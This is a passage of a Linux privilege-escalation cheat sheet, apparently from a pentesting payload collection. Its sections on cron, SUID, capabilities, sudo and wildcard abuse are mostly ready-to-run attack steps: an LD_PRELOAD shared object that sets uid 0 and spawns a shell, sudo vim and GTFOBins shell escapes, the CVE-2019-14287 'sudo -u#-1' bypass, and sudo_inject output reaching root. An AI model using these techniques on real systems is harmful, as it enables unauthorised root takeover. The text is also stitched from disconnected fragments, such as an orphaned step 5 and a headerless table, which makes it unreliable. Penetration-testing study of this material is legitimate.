There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
A preseed.cfg file is used in Debian-based Linux distributions to automate the installation process. It contains answers to the questions that the installer normally asks, allowing for a fully unattended installation. This file can specify configurations such as partitioning schemes, package selections, network settings, and user accounts.
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
## Scheduled tasks
### Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
```
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks |
| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### sudo_inject
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
* [Setting the root password in preseed.cfg for unattended installation - Sebest - Mar 31, 2010](https://sebest.github.io/post/setting-the-root-password-in-preseed-cfg-for-unattended-installation/)
